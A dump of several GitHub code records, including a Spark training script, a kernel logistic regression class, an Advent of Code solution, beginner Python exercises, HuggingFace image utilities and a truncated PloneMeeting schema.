Pipeline(stages=[tokenizer_mlp, hashing_tf_mlp, idf_mlp, selector, mlp])\n\n model_mlp = pipeline_mlp.fit(training)\n result_mlp = model_mlp.transform(test)\n result_mlp.show()\n\n prediction_and_labels = result_mlp.select(\"prediction\", \"label\")\n evaluator = MulticlassClassificationEvaluator(metricName=\"accuracy\")\n print(\"Test set accuracy = \" + str(evaluator.evaluate(prediction_and_labels)))\n\n model_mlp.write().overwrite().save(\"model-mlp\")\n\n #-------------------------------------------------------------------------------------------------------------------\n spark.stop()\n","repo_name":"zliuxyz/dal-cs5408","sub_path":"project/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17555311700","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 26 16:10:08 2021\n\n@author: margauxtornqvist\n\"\"\"\nimport numpy as np \n\nclass KLR:\n \"\"\"\n Kernel Logistic Regression (KLR)\n\n Parameters:\n K: np.array, Gram matrix which sizes size n_samples x n_samples \n kernel: string, 'rbf', 'sepctrum', 'mismatch'...\n gamma: float, parameter of the rbf kernel\n lambd : float, regularization parameter \n \"\"\"\n\n def __init__(self, kernel, gamma, lambd):\n self.lambd = lambd\n self.kernel = kernel\n self.gamma = gamma\n self.alpha = None\n self.K_train = None\n self.K_test = None\n\n def fit_gram_matrix(self, X_train, X_test=None): \n \"\"\"\n Get the Gram matrix \n Parameters:\n X: np.array, training data \n gamma: float, parameter of the kernel\n Returns:\n K: np.array, Gram matrix of the input data X\n \"\"\"\n \n # fit Gram matrix on the training set if needed\n if np.all(X_test==None):\n if self.kernel=='rbf':\n self.K_train = GaussianKernel(X_train, X_train, self.gamma)\n #if self.kernel == 'spectrum':\n #\n \n # fit Gram matrix for prediction on unseen data \n # Warning !! self.K_test is not a square matrix, but a matrix of size n_samples_train x n_samples_test\n else:\n if self.kernel == 'rbf':\n self.K_test = GaussianKernel(X_test, X_train, self.gamma)\n #if self.kernel == 'spectrum':\n #\n \n def sigmoid(self, z):\n \"\"\"\n Returns the sigmoid function\n Parameters:\n z: np.array\n Returns:\n self.sigmoid: sigmoid function evaluated at point z\n \"\"\"\n return 1 / (1 + np.exp(-z))\n\n def loss(self, z):\n \"\"\"\n Returns the logistic loss function (loss of KLR)\n Parameters:\n z: np.array\n Returns:\n self.loss: logistic loss evaluated at point z\n \"\"\"\n return np.log(1 + np.exp(-z))\n\n def d1_loss(self, z):\n \"\"\"\n Returns the first derivative of the loss function \n Parameters:\n z: np.array\n Returns:\n self.d1_loss: first derivative of logistic loss evaluated at point z\n \"\"\"\n return - self.sigmoid(-z)\n\n def d2_loss(self, z):\n \"\"\"\n Returns the second derivative of the loss fucntion\n Parameters:\n z: np.array\n Returns:\n self.d2_loss: second derivative of logistic loss evaluated at point z\n \"\"\"\n return self.sigmoid(z) * self.sigmoid(-z)\n\n def objective(self, X, y, alpha):\n \"\"\"\n Returns the regularized sigmoid loss\n Parameters:\n X: np.array matrix n_samples x dim, training examples\n y: np.array vector n_samples, training labels\n w: np.array vector dim, point in which we evaluate the objective\n Returns:\n self.objective: regularized logistic loss evaluated at point w\n \"\"\"\n n = len(y)\n return (1/n) * np.sum(self.loss(y * self.K_train @ alpha)) + self.lambd * alpha.T @ self.K_train @ alpha\n\n def gradient(self, X, y, alpha):\n \"\"\"\n Returns the gradient of the regularized logistic loss\n Parameters:\n X: np.array n_samples x dim, training examples\n y: np.array n_samples x 1, training labels\n w: np.array vector dim, point in which we evaluate the gradient of the objective\n Returns:\n self.objective: gradient regularized logistic loss evaluated at point w\n \"\"\"\n n = len(y)\n P = np.diag(self.d1_loss(y * self.K_train @ alpha))\n return (1/n) * self.K_train @ P @ y + self.lambd * self.K_train @ alpha\n \n def hessian(self, X, y, alpha):\n \"\"\"\n Returns the hessian of the regularized logistic loss\n Parameters:\n X: np.array n_samples x dim, training examples\n y: np.array n_samples x 1, training labels\n w: np.array vector dim, point in which we evaluate the hessian of the objective\n Returns:\n self.objective: gradient regularized logistic loss evaluated at point w\n \"\"\"\n n = len(y)\n W = np.diag(self.d2_loss(y * self.K_train @ alpha))\n return (1/n) * self.K_train @ W @ self.K_train + self.lambd * self.K_train \n\n\n def fit(self, X, y, optim='hand', eps=1e-3, lr=5*1e-2, max_iter=50, verbose=False):\n \"\"\"\n Fit the model on the data with Newton Raphson algorithm (with fixed step size)\n Parameters:\n X: np.array n_samples x dim, training examples\n y: np.array n_samples x 1, training labels\n eps: float, stopping criterion\n lr: float, learning rate\n max_iter: int, maximum number of iterations\n verbose: Boolean, wheteher to print of not information during the training\n Returns:\n self.alpha: solution to the minimization problem\n \"\"\"\n \n # fit the Gram matrix if needed\n if np.all(self.K_train==None):\n self.fit_gram_matrix(X)\n \n ### Optimization with our own Newton's method (with fixed step size)\n if optim == 'hand': \n # simplify notations\n obj = lambda w: self.objective(X, y, w)\n grad = lambda w: self.gradient(X, y, w)\n hess = lambda w: self.hessian(X, y, w)\n\n # intialization \n num_iter = 0\n w = np.zeros(len(X))\n trackL = [obj(w)]\n\n while num_iter <= max_iter:\n\n # newton step\n step = np.linalg.pinv(hess(w)) @ grad(w)\n\n # break before the update if infinite likelihood (in case of separable data)\n if np.isnan(obj(w - lr * step)):\n break\n\n # update\n w = w - lr * step\n trackL.append(obj(w))\n num_iter = num_iter + 1\n\n # check optimization issue\n if obj(w) > trackL[-2]:\n print(\"The optimization does't work because the objective is increasing throughout the iterations.\")\n print(\"Decrease the learning rate or modify the initialization.\")\n break \n\n # check the stopping criterion\n if abs(obj(w)- trackL[-2]) <= eps:\n break \n\n if verbose:\n print(f'###### Iteration {num_iter}: objective = {obj(w)} ######')\n\n # get the optimal point \n self.alpha = w\n return self.alpha\n \n ### DOESN'T WORK for the moment !!! See later...\n ### Optimization with Newton-CG algorithm of the library scipy.optimize\n else: \n \n # simplify notations\n obj = lambda w: self.objective(X, y, w)\n grad = lambda w: self.gradient(X, y, w)\n hess = lambda w: self.hessian(X, y, w)\n \n # use scipy.optimize library to perform optimization \n res = minimize(obj, method='Newton-CG',\n jac=grad, hess=hess,\n x0=np.zeros(len(X)), \n options={'xtol': 1e-3, 'disp': True})\n \n # get the optimal point \n self.alpha = res.x\n return self.alpha\n \n def predict_train(self):\n \"\"\"\n Get the prediction on the training set\n Returns:\n y_pred: int in {-1,1}, prediction on training set\n \"\"\"\n assert self.alpha is not None, \"Fit model on data\"\n return np.sign(self.K_train @ self.alpha) \n \n def predict_test(self, X_train, X_test):\n \"\"\"\n Get the prediction on the testing set (new unseen data)\n Parameters:\n X_train: X: np.array n_samples x dim, training examples\n X_test: X: np.array n_samples x dim, training examples\n Returns:\n y_pred: int in {-1,1}, prediction on testing set\n \"\"\"\n assert self.alpha is not None, \"Fit model on data\"\n self.fit_gram_matrix(X_train=X_train, X_test=X_test)\n return np.sign(self.K_test @ self.alpha) \n\n def score_train(self, y_train):\n \"\"\"\n Returns the accuracy \n Parameters:\n y_train: np.array n_samples x 1, training labels\n Returns:\n acc: float in [0, 100], accuracy in %\n \"\"\"\n assert self.alpha is not None, \"Fit model on data\"\n return 100 * (y_train == self.predict_train()).mean()\n \n def score_test(self, y_test, X_train, X_test):\n \"\"\"\n Returns the accuracy \n Parameters:\n y_test: np.array n_samples x 1, training labels\n X_train: X: np.array n_samples x dim, training examples\n X_test: X: np.array n_samples x dim, training examples\n Returns:\n acc: float in [0, 100], accuracy in %\n \"\"\"\n assert self.alpha is not None, \"Fit model on data\"\n return 100 * (y_test == self.predict_test(X_train=X_train, X_test=X_test)).mean()","repo_name":"margauxtornqvist/KernelMethods_2021_DataChallenge","sub_path":"KLR.py","file_name":"KLR.py","file_ext":"py","file_size_in_byte":9149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36286066754","text":"# day08.py\n# Treetop tree house\n\nimport sys\n\ndef part1(data: list, width: int, height: int) -> int:\n outer = (width + height - 2) * 2\n inner = 0\n for y in range(1, height - 1):\n row = data[y]\n for x in range(1, width - 1):\n tree = row[x]\n left = [n for n in row[0:x] if n >= tree]\n if len(left) > 0:\n right = [n for n in row[x+1:width] if n >= tree]\n if len(right) > 0:\n column = [data[row][x] for row in range(height)]\n above = [n for n in column[0:y] if n >= tree]\n if len(above) > 0:\n below = [n for n in column[y+1:height] if n >= tree]\n if len(below) > 0:\n continue\n inner += 1\n return outer + inner\n\ndef get_score(tree: str, side: list) -> int:\n score = 0\n for height in side:\n score += 1\n if height >= tree:\n break\n return score\n\ndef part2(data: list, width: int, height: int) -> int:\n score = 0\n for y in range(1, height - 1):\n row = data[y]\n for x in range(1, width - 1):\n tree = row[x]\n left = get_score(tree, list(row[0:x][::-1]))\n right = get_score(tree, list(row[x+1:width]))\n column = [data[row][x] for row in range(height)]\n above = get_score(tree, [n for n in reversed(column[0:y])])\n below = get_score(tree, [n for n in column[y+1:height]])\n score = max(score, left * right * above * below)\n return score\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print(f'Usage: python {sys.argv[0]} ')\n else:\n file = sys.argv[1]\n with open(file) as f:\n data = f.read().splitlines()\n width = len(data[0])\n height = len(data)\n print(part1(data, width, height))\n print(part2(data, width, height))","repo_name":"taflaj/AdventOfCode","sub_path":"2022/08/day08.py","file_name":"day08.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9145344034","text":"#Write a function that computes the volume of a sphere given its radius.\r\n\r\n#The volume of a sphere is given as $$\\frac{4}{3} πr^3$$\r\n\r\ndef vol(rad):\r\n return (4/3)*(3.1416)*(rad**3)\r\n\r\n\r\n# Check\r\nprint(vol(2))\r\n\r\n#33.49333333333333\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Write a function that checks whether a number is in a given range (inclusive of high and low)\r\n\r\ndef ran_check(num,low,high):\r\n if num in range(low, high):\r\n return f\"{num} is in the range between {low} and {high}\"\r\n else:\r\n return f\"{num} is not in the range between {low} and {high}\"\r\n\r\n\r\n# Check\r\nprint(ran_check(5,2,7))\r\n\r\n#5 is in the range between 2 and 7\r\n\r\n\r\n#If you only wanted to return a boolean:\r\n\r\ndef ran_bool(num,low,high):\r\n return ((low<=num) and (num<=high))\r\n\r\n\r\n#Check\r\nprint(ran_bool(3,1,10))\r\n\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Write a Python function that accepts a string and calculates the number of upper case letters \r\n#and lower case letters.\r\n\r\n#Sample String : 'Hello Mr. Rogers, how are you this fine Tuesday?'\r\n#Expected Output : \r\n#No. of Upper case characters : 4\r\n#No. of Lower case Characters : 33\r\n\r\n#HINT: Two string methods that might prove useful: .isupper() and .islower()\r\n\r\n#If you feel ambitious, explore the Collections module to solve this problem!\r\n\r\ndef up_low(s):\r\n #cont1=0\r\n #cont2=0\r\n d={\"upper\":0, \"lower\":0}\r\n for word in s:\r\n if word.isupper():\r\n #cont1 +=1\r\n d[\"upper\"] +=1\r\n elif word.islower():\r\n d[\"lower\"] +=1\r\n #cont2 +=1\r\n print(f\"No. of Upper case characters: {cont1}\")\r\n print(f\"No. of Lower case characters: {cont2}\")\r\n\r\n\r\ns = 'Hello Mr. Rogers, how are you this fine Tuesday?'\r\nup_low(s)\r\n\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Write a Python function that takes a list and returns a new list with unique elements of the first list.\r\n\r\n#Sample List : [1,1,1,1,2,2,3,3,3,3,4,5]\r\n#Unique List : [1, 2, 3, 4, 5]\r\n\r\ndef unique_list(lst):\r\n return list(set(lst))\r\n\r\n\r\nprint(f\"Unique List: {unique_list([1,1,1,1,2,2,3,3,3,3,4,5])}\")\r\n\r\n#Out\r\n#[1, 2, 3, 4, 5]\r\n\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Write a Python function to multiply all the numbers in a list.\r\n\r\n#Sample List : [1, 2, 3, -4]\r\n#Expected Output : -24\r\n\r\n\r\ndef multiply(numbers):\r\n mult=1\r\n for num in numbers:\r\n mult *= num\r\n return mult\r\n\r\n\r\nprint(multiply([1,2,3,-4]))\r\n\r\n#Out\r\n#-24\r\n\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Write a Python function that checks whether a passed in string is palindrome or not.\r\n\r\n#Note: A palindrome is word, phrase, or sequence that reads the same backward as forward, e.g., madam or \r\n#nurses run.\r\n\r\ndef palindrome(s):\r\n return (s[::]==s[::-1])\r\n\r\n\r\nprint(palindrome('helleh'))\r\n\r\n#Out\r\n#True\r\n\r\n\r\nprint(\"-----------------------------------------------------------------------------------------------\")\r\n\r\n\r\n#Hard:\r\n\r\n#Write a Python function to check whether a string is pangram or not.\r\n\r\n#Note : Pangrams are words or sentences containing every letter of the alphabet at least once.\r\n#For example : \"The quick brown fox jumps over the lazy dog\"\r\n\r\n#Hint: Look at the string module\r\n\r\nimport string\r\n\r\ndef ispangram(str1, alphabet=string.ascii_lowercase):\r\n str2=set(alphabet)\r\n return str2<=set(str1.lower()) \r\n\r\n\r\nprint(ispangram(\"The quick brown fox jumps over the lazy dog\"))\r\n\r\n#Out\r\n#True\r\n\r\nprint(string.ascii_lowercase)\r\n\r\n#Out\r\n#'abcdefghijklmnopqrstuvwxyz'\r\n\r\n\r\n#Great Job!","repo_name":"mbellezze/Homework-Projects-Python","sub_path":"Functions and Methods Homework.py","file_name":"Functions and Methods Homework.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5678802906","text":"import numpy as np\nimport PIL.Image\n\nfrom .file_utils import _is_torch, is_torch_available\n\n\nIMAGENET_DEFAULT_MEAN = [0.485, 0.456, 0.406]\nIMAGENET_DEFAULT_STD = [0.229, 0.224, 0.225]\n\n\ndef is_torch_tensor(obj):\n return _is_torch(obj) if is_torch_available() else False\n\n\n# In the future we can add a TF implementation here when we have TF models.\nclass ImageFeatureExtractionMixin:\n \"\"\"\n Mixin that contain utilities for preparing image features.\n \"\"\"\n\n def _ensure_format_supported(self, image):\n if not isinstance(image, (PIL.Image.Image, np.ndarray)) and not is_torch_tensor(image):\n raise ValueError(\n f\"Got type {type(image)} which is not supported, only `PIL.Image.Image`, `np.array` and \"\n \"`torch.Tensor` are.\"\n )\n\n def to_pil_image(self, image, rescale=None):\n \"\"\"\n Converts :obj:`image` to a PIL Image. Optionally rescales it and puts the channel dimension back as the last\n axis if needed.\n\n Args:\n image (:obj:`PIL.Image.Image` or :obj:`numpy.ndarray` or :obj:`torch.Tensor`):\n The image to convert to the PIL Image format.\n rescale (:obj:`bool`, `optional`):\n Whether or not to apply the scaling factor (to make pixel values integers between 0 and 255). Will\n default to :obj:`True` if the image type is a floating type, :obj:`False` otherwise.\n \"\"\"\n self._ensure_format_supported(image)\n\n if is_torch_tensor(image):\n image = image.numpy()\n\n if isinstance(image, np.ndarray):\n if rescale is None:\n # rescale default to the array being of floating type.\n rescale = isinstance(image.flat[0], np.floating)\n # If the channel as been moved to first dim, we put it back at the end.\n if image.ndim == 3 and image.shape[0] in [1, 3]:\n image = image.transpose(1, 2, 0)\n if rescale:\n image = image * 255\n image = image.astype(np.uint8)\n return PIL.Image.fromarray(image)\n return image\n\n def to_numpy_array(self, image, rescale=None, channel_first=True):\n \"\"\"\n Converts :obj:`image` to a numpy array. Optionally rescales it and puts the channel dimension as the first\n dimension.\n\n Args:\n image (:obj:`PIL.Image.Image` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The image to convert to a NumPy array.\n rescale (:obj:`bool`, `optional`):\n Whether or not to apply the scaling factor (to make pixel values floats between 0. and 1.). Will\n default to :obj:`True` if the image is a PIL Image or an array/tensor of integers, :obj:`False`\n otherwise.\n channel_first (:obj:`bool`, `optional`, defaults to :obj:`True`):\n Whether or not to permute the dimensions of the image to put the channel dimension first.\n \"\"\"\n self._ensure_format_supported(image)\n\n if isinstance(image, PIL.Image.Image):\n image = np.array(image)\n\n if is_torch_tensor(image):\n image = image.numpy()\n\n if rescale is None:\n rescale = isinstance(image.flat[0], np.integer)\n\n if rescale:\n image = image.astype(np.float32) / 255.0\n\n if channel_first:\n image = image.transpose(2, 0, 1)\n\n return image\n\n def normalize(self, image, mean, std):\n \"\"\"\n Normalizes :obj:`image` with :obj:`mean` and :obj:`std`. Note that this will trigger a conversion of\n :obj:`image` to a NumPy array if it's a PIL Image.\n\n Args:\n image (:obj:`PIL.Image.Image` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The image to normalize.\n mean (:obj:`List[float]` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The mean (per channel) to use for normalization.\n std (:obj:`List[float]` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The standard deviation (per channel) to use for normalization.\n \"\"\"\n self._ensure_format_supported(image)\n\n if isinstance(image, PIL.Image.Image):\n image = self.to_numpy_array(image)\n\n if isinstance(image, np.ndarray):\n if not isinstance(mean, np.ndarray):\n mean = np.array(mean).astype(image.dtype)\n if not isinstance(std, np.ndarray):\n std = np.array(std).astype(image.dtype)\n elif is_torch_tensor(image):\n import torch\n\n if not isinstance(mean, torch.Tensor):\n mean = torch.tensor(mean)\n if not isinstance(std, torch.Tensor):\n std = torch.tensor(std)\n\n if image.ndim == 3 and image.shape[0] in [1, 3]:\n return (image - mean[:, None, None]) / std[:, None, None]\n else:\n return (image - mean) / std\n\n def resize(self, image, size, resample=PIL.Image.BILINEAR):\n \"\"\"\n Resizes :obj:`image`. Note that this will trigger a conversion of :obj:`image` to a PIL Image.\n\n Args:\n image (:obj:`PIL.Image.Image` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The image to resize.\n size (:obj:`int` or :obj:`Tuple[int, int]`):\n The size to use for resizing the image.\n resample (:obj:`int`, `optional`, defaults to :obj:`PIL.Image.BILINEAR`):\n The filter to user for resampling.\n \"\"\"\n self._ensure_format_supported(image)\n\n if not isinstance(size, tuple):\n size = (size, size)\n if not isinstance(image, PIL.Image.Image):\n image = self.to_pil_image(image)\n\n return image.resize(size, resample=resample)\n\n def center_crop(self, image, size):\n \"\"\"\n Crops :obj:`image` to the given size using a center crop. Note that if the image is too small to be cropped to\n the size given, it will be padded (so the returned result has the size asked).\n\n Args:\n image (:obj:`PIL.Image.Image` or :obj:`np.ndarray` or :obj:`torch.Tensor`):\n The image to resize.\n size (:obj:`int` or :obj:`Tuple[int, int]`):\n The size to which crop the image.\n \"\"\"\n self._ensure_format_supported(image)\n if not isinstance(size, tuple):\n size = (size, size)\n\n # PIL Image.size is (width, height) but NumPy array and torch Tensors have (height, width)\n image_shape = (image.size[1], image.size[0]) if isinstance(image, PIL.Image.Image) else image.shape[-2:]\n top = (image_shape[0] - size[0]) // 2\n bottom = top + size[0] # In case size is odd, (image_shape[0] + size[0]) // 2 won't give the proper result.\n left = (image_shape[1] - size[1]) // 2\n right = left + size[1] # In case size is odd, (image_shape[1] + size[1]) // 2 won't give the proper result.\n\n # For PIL Images we have a method to crop directly.\n if isinstance(image, PIL.Image.Image):\n return image.crop((left, top, right, bottom))\n\n # Check if all the dimensions are inside the image.\n if top >= 0 and bottom <= image_shape[0] and left >= 0 and right <= image_shape[1]:\n return image[..., top:bottom, left:right]\n\n # Otherwise, we may need to pad if the image is too small. Oh joy...\n new_shape = image.shape[:-2] + (max(size[0], image_shape[0]), max(size[1], image_shape[1]))\n if isinstance(image, np.ndarray):\n new_image = np.zeros_like(image, shape=new_shape)\n elif is_torch_tensor(image):\n new_image = image.new_zeros(new_shape)\n\n top_pad = (new_shape[-2] - image_shape[0]) // 2\n bottom_pad = top_pad + image_shape[0]\n left_pad = (new_shape[-1] - image_shape[1]) // 2\n right_pad = left_pad + image_shape[1]\n new_image[..., top_pad:bottom_pad, left_pad:right_pad] = image\n\n top += top_pad\n bottom += top_pad\n left += left_pad\n right += left_pad\n\n return new_image[\n ..., max(0, top) : min(new_image.shape[-2], bottom), max(0, left) : min(new_image.shape[-1], right)\n ]\n","repo_name":"dropreg/R-Drop","sub_path":"huggingface_transformer_src/src/transformers/image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":8265,"program_lang":"python","lang":"en","doc_type":"code","stars":834,"dataset":"github-code","pt":"21"} +{"seq_id":"27706142196","text":"# -*- coding: utf-8 -*-\n\nfrom AccessControl import ClassSecurityInfo\nfrom AccessControl import Unauthorized\nfrom collections import OrderedDict\nfrom collective.behavior.talcondition.utils import _evaluateExpression\nfrom collective.contact.plonegroup.config import get_registry_organizations\nfrom collective.contact.plonegroup.utils import get_plone_groups\nfrom collective.dexteritytextindexer.directives import searchable\nfrom collective.dexteritytextindexer.interfaces import IDynamicTextIndexExtender\nfrom collective.z3cform.datagridfield import BlockDataGridFieldFactory\nfrom collective.z3cform.datagridfield import DictRow\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom imio.helpers.cache import cleanRamCacheFor\nfrom imio.helpers.content import richtextval\nfrom imio.helpers.content import uuidsToObjects\nfrom imio.helpers.content import uuidToCatalogBrain\nfrom imio.helpers.content import uuidToObject\nfrom imio.prettylink.interfaces import IPrettyLink\nfrom persistent.list import PersistentList\nfrom persistent.mapping import PersistentMapping\nfrom plone import api\nfrom plone.app.contenttypes.behaviors.collection import Collection\nfrom plone.app.contenttypes.behaviors.collection import ICollection\nfrom plone.app.querystring.querybuilder import queryparser\nfrom plone.app.textfield import RichText\nfrom plone.dexterity.content import Container\nfrom plone.dexterity.schema import DexteritySchemaPolicy\nfrom plone.directives import form\nfrom plone.formwidget.datetime.z3cform.widget import DateFieldWidget\nfrom plone.formwidget.datetime.z3cform.widget import DatetimeFieldWidget\nfrom plone.formwidget.masterselect import MasterSelectField\nfrom plone.memoize import ram\nfrom plone.supermodel import model\nfrom Products.CMFCore.permissions import ModifyPortalContent\nfrom Products.CMFPlone.utils import base_hasattr\nfrom Products.CMFPlone.utils import safe_unicode\nfrom Products.PloneMeeting.browser.itemchangeorder import _compute_value_to_add\nfrom Products.PloneMeeting.browser.itemchangeorder import _is_integer\nfrom Products.PloneMeeting.browser.itemchangeorder import _to_integer\nfrom Products.PloneMeeting.browser.itemchangeorder import _use_same_integer\nfrom Products.PloneMeeting.browser.itemvotes import clean_voters_linked_to\nfrom Products.PloneMeeting.config import MEETING_ATTENDEES_ATTRS\nfrom Products.PloneMeeting.config import NOT_ENCODED_VOTE_VALUE\nfrom Products.PloneMeeting.config import NOT_VOTABLE_LINKED_TO_VALUE\nfrom Products.PloneMeeting.config import PMMessageFactory as _\nfrom Products.PloneMeeting.config import READER_USECASES\nfrom Products.PloneMeeting.config import REINDEX_NEEDED_MARKER\nfrom Products.PloneMeeting.interfaces import IDXMeetingContent\nfrom Products.PloneMeeting.utils import _addManagedPermissions\nfrom Products.PloneMeeting.utils import _base_extra_expr_ctx\nfrom Products.PloneMeeting.utils import _get_category\nfrom Products.PloneMeeting.utils import displaying_available_items\nfrom Products.PloneMeeting.utils import get_annexes\nfrom Products.PloneMeeting.utils import get_next_meeting\nfrom Products.PloneMeeting.utils import get_states_before\nfrom Products.PloneMeeting.utils import getCustomAdapter\nfrom Products.PloneMeeting.utils import getDateFromDelta\nfrom Products.PloneMeeting.utils import getWorkflowAdapter\nfrom Products.PloneMeeting.utils import ItemDuplicatedFromConfigEvent\nfrom Products.PloneMeeting.utils import MeetingLocalRolesUpdatedEvent\nfrom Products.PloneMeeting.utils import notifyModifiedAndReindex\nfrom Products.PloneMeeting.utils import updateAnnexesAccess\nfrom Products.PloneMeeting.utils import validate_item_assembly_value\nfrom Products.PloneMeeting.widgets.pm_orderedselect import PMOrderedSelectFieldWidget\nfrom Products.PloneMeeting.widgets.pm_richtext import PMRichTextFieldWidget\nfrom Products.PloneMeeting.widgets.pm_textarea import get_textarea_value\nfrom Products.PloneMeeting.widgets.pm_textarea import PMTextAreaFieldWidget\nfrom z3c.form.browser.checkbox import CheckBoxFieldWidget\nfrom z3c.form.browser.radio import RadioFieldWidget\nfrom zope import schema\nfrom zope.component import adapts\nfrom zope.component import getMultiAdapter\nfrom zope.event import notify\nfrom zope.globalrequest import getRequest\nfrom zope.i18n import translate\nfrom zope.interface import directlyProvides\nfrom zope.interface import implementer\nfrom zope.interface import implements\nfrom zope.interface import Interface\nfrom zope.interface import Invalid\nfrom zope.interface import invariant\nfrom zope.schema import getFieldNamesInOrder\nfrom zope.schema.interfaces import ITitledTokenizedTerm\nfrom zope.schema.interfaces import ITokenizedTerm\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.schema.vocabulary import SimpleVocabulary\n\nimport copy\nimport itertools\nimport logging\n\n\nlogger = logging.getLogger('PloneMeeting')\n\nPLACE_OTHER = u\"other\"\n\n\ndef assembly_constraint(value):\n \"\"\"Check that opening [[ has it's closing ]].\"\"\"\n value = value and value.output\n if not validate_item_assembly_value(value):\n request = getRequest()\n msg = translate('Please check that opening \"[[\" have corresponding closing \"]]\".',\n domain='PloneMeeting',\n context=request)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n return True\n\n\nclass ICommitteesRowSchema(Interface):\n \"\"\"Schema for DataGridField widget's row of field 'committees'.\"\"\"\n\n row_id = schema.Choice(\n title=_(\"title_committees_row_id\"),\n vocabulary='Products.PloneMeeting.vocabularies.meeting_selectable_committees_vocabulary',\n required=True)\n\n form.widget('date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n date = schema.Datetime(\n title=_(\"title_committees_date\"),\n required=False)\n\n form.widget('convocation_date', DateFieldWidget, show_today_link=True)\n convocation_date = schema.Date(\n title=_(\"title_committees_convocation_date\"),\n required=False)\n\n place = schema.TextLine(\n title=_(\"title_committees_place\"),\n required=False)\n\n form.widget('assembly', PMTextAreaFieldWidget)\n assembly = RichText(\n title=_(u\"title_committees_assembly\"),\n default_mime_type='text/plain',\n allowed_mime_types=(\"text/plain\", ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('signatures', PMTextAreaFieldWidget)\n signatures = RichText(\n title=_(u\"title_committees_signatures\"),\n default_mime_type='text/plain',\n allowed_mime_types=(\"text/plain\", ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('attendees', PMOrderedSelectFieldWidget)\n attendees = schema.List(\n title=_(\"title_committees_attendees\"),\n value_type=schema.Choice(\n vocabulary=\"Products.PloneMeeting.vocabularies.selectable_committee_attendees_vocabulary\"),\n required=False)\n\n form.widget('signatories', PMOrderedSelectFieldWidget)\n signatories = schema.List(\n title=_(\"title_committees_signatories\"),\n value_type=schema.Choice(\n vocabulary=\"Products.PloneMeeting.vocabularies.selectable_committee_attendees_vocabulary\"),\n required=False)\n\n # called \"committee_observations\" because \"observations\" already exists on meeting class\n committee_observations = RichText(\n title=_(u\"title_committees_committee_observations\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n\nclass IMeeting(IDXMeetingContent):\n \"\"\"\n Meeting schema\n \"\"\"\n\n # manage title, hidden but indexed\n searchable(\"title\")\n form.omitted('title')\n title = schema.TextLine(\n title=_(u'title_title'),\n required=False)\n\n form.widget('date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n date = schema.Datetime(\n title=_(u'title_date'),\n required=True)\n\n form.widget('start_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n start_date = schema.Datetime(\n title=_(u'title_start_date'),\n required=False)\n\n form.widget('mid_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n mid_date = schema.Datetime(\n title=_(u'title_mid_date'),\n required=False)\n\n form.widget('mid_start_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n mid_start_date = schema.Datetime(\n title=_(u'title_mid_start_date'),\n required=False)\n\n form.widget('end_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n end_date = schema.Datetime(\n title=_(u'title_end_date'),\n required=False)\n\n form.widget('approval_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n approval_date = schema.Datetime(\n title=_(u'title_approval_date'),\n required=False)\n\n form.widget('convocation_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n convocation_date = schema.Datetime(\n title=_(u'title_convocation_date'),\n required=False)\n\n form.widget('validation_deadline', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n validation_deadline = schema.Datetime(\n title=_(u'title_validation_deadline'),\n required=False)\n\n form.widget('freeze_deadline', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n freeze_deadline = schema.Datetime(\n title=_(u'title_freeze_deadline'),\n required=False)\n\n searchable(\"place\")\n place = MasterSelectField(\n title=_(u\"title_place\"),\n vocabulary=\"Products.PloneMeeting.content.meeting.places_vocabulary\",\n # avoid a \"No value\" entry\n required=True,\n default=PLACE_OTHER,\n slave_fields=(\n {'name': 'place_other',\n 'slaveID': '#form-widgets-place_other',\n 'action': 'enable',\n 'hide_values': (PLACE_OTHER, ),\n 'siblings': True,\n },\n {'name': 'place_other',\n 'slaveID': '#form-widgets-place_other',\n 'action': 'show',\n 'hide_values': (PLACE_OTHER, ),\n 'siblings': True,\n },\n ),\n )\n\n searchable(\"place_other\")\n place_other = schema.TextLine(\n title=_(u\"title_place_other\"),\n required=False)\n\n form.widget('pre_meeting_date', DatetimeFieldWidget, show_today_link=True, show_time=True, first_day=1)\n pre_meeting_date = schema.Datetime(\n title=_(u'title_pre_meeting_date'),\n required=False)\n\n searchable(\"pre_meeting_place\")\n 